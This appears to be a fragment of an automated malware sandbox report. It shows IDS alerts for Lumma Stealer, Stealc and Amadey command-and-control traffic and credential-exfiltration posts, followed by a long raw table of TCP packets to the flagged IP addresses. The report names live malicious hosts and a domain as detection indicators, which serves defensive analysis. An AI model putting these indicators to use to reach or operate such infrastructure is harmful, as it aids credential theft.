2024-10-31T20:53:13.990920+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49911	188.114.97.3	443	TCP
2024-10-31T20:53:13.990920+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49911	188.114.97.3	443	TCP
2024-10-31T20:53:26.218208+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49996	185.215.113.206	80	TCP
2024-10-31T20:54:37.758026+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	50175	TCP
2024-10-31T20:54:38.572571+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50177	185.215.113.206	80	TCP
2024-10-31T20:54:38.690995+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50178	185.215.113.43	80	TCP
2024-10-31T20:55:40.490414+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	50203	TCP
2024-10-31T20:55:41.378329+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50204	185.208.156.229	80	TCP
2024-10-31T20:55:50.818047+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50205	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 20:52:02.256701946 CET	49732	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:02.261498928 CET	80	49732	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:02.261585951 CET	49732	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:02.261893988 CET	49732	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:02.266669989 CET	80	49732	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:03.213745117 CET	80	49732	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:03.213840008 CET	49732	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:04.761298895 CET	49732	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:04.761588097 CET	49733	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:04.766772032 CET	80	49733	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:04.766793013 CET	80	49732	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:04.766858101 CET	49733	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:04.766876936 CET	49732	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:04.776223898 CET	49733	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:04.781037092 CET	80	49733	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:05.824572086 CET	80	49733	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:05.824631929 CET	49733	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:05.830976963 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:05.835819006 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:05.835889101 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:05.835977077 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:05.841034889 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.775492907 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.775516033 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.775532961 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.775608063 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.775624037 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.775640011 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.775655985 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.775672913 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.775722027 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.775757074 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.775772095 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.775794029 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.775823116 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.775846958 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.782469988 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.782546043 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.782591105 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.782644987 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.940304995 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.940347910 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.940361977 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.940377951 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.940399885 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.940418959 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.940421104 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.940459013 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.940459013 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.940483093 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.941613913 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.941628933 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.941647053 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.941667080 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.941667080 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.941689968 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.941698074 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.941710949 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.941725969 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.941742897 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.941745043 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.941752911 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.941776991 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.941782951 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.941843033 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.941859007 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.941876888 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.941900015 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.941900015 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.942045927 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.942229033 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.942256927 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.942272902 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.942274094 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.942295074 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.942296028 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.942315102 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.942317009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.942333937 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.942364931 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.943034887 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.943074942 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.945389986 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.945436001 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.945466995 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.945508957 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.945533037 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.945574045 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:06.945580006 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:06.945616961 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.112369061 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.112390041 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.112406015 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.112469912 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.112474918 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.112490892 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.112643957 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.112643957 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113090038 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113106012 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113121033 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113149881 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113173008 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113188028 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113203049 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113218069 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113229990 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113236904 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113250971 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113270998 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113276005 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113367081 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113380909 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113401890 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113405943 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113413095 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113418102 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113441944 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113465071 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113543987 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113594055 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113647938 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113671064 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113703012 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113713026 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113746881 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113763094 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113779068 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113786936 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113796949 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113806009 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113815069 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113831997 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113842964 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113858938 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113872051 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113887072 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113903046 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113915920 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113919973 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.113933086 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113943100 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.113965034 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.114510059 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.114525080 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.114542007 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.114557028 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.114562988 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.114583969 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.114588022 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.114600897 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.114607096 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.114630938 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.114630938 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.328212023 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.328232050 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.328294039 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.328336000 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.442406893 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.442444086 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.442459106 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.442464113 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.442483902 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.442498922 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.442504883 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.442506075 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.442516088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.442524910 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.442543030 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.442557096 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.442570925 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.442586899 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.442605972 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.442608118 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.442631960 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.442648888 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.442660093 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.442707062 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.442766905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.442805052 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.442815065 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.442831039 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.442846060 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.442856073 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.442871094 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.442883968 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.443027973 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.443063021 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.443084002 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.443099976 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.443130970 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.443182945 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.443198919 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.443211079 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.443212032 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.443213940 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.443243027 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.443254948 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.443449974 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.443489075 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.443528891 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.443546057 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.443568945 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.443583012 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.443598986 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.443614960 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.443629980 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.443636894 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.443646908 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.443656921 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.443697929 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.443697929 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.443917036 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.443929911 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.443954945 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.443978071 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.444122076 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.444160938 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.444169044 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.444184065 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.444206953 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.444219112 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.444261074 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.444276094 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.444291115 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.444302082 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.444308043 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.444313049 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.444328070 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.444334984 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.444344997 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.444351912 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.444365978 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.444372892 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.444389105 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.444407940 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.444776058 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.444814920 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.444850922 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.444866896 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.444892883 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.444902897 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.445004940 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.445020914 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.445036888 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.445045948 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.445053101 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.445064068 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.445067883 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.445079088 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.445085049 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.445095062 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.445101023 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.445111990 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.445123911 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.445130110 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.445139885 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.445147991 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.445156097 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.445168018 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.445183039 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.445199966 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.447670937 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.447710991 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.447725058 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.447726965 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.447745085 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.447747946 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.447756052 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.447762012 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.447762966 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.447784901 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.447813988 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.447815895 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.447832108 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.447865009 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.447896957 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.447920084 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.447921991 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.447923899 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.447933912 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.447938919 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.447962999 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.447988987 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.447995901 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.448019981 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.448045015 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.448061943 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.448065042 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.448077917 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.448092937 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.448100090 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.448110104 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.448117971 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.448134899 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.448153973 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.448755980 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.448796034 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.448812008 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.448827982 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.448851109 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.448872089 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.448956966 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.448971987 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.448987007 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.448995113 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.449002028 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.449009895 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.449028015 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.449043036 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.561721087 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.561762094 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.561770916 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.561790943 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.561806917 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.561821938 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.561830997 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.561853886 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.561861992 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.561877966 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.561897039 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.561908007 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.561923027 CET	49734	80	192.168.2.4	185.215.113.16
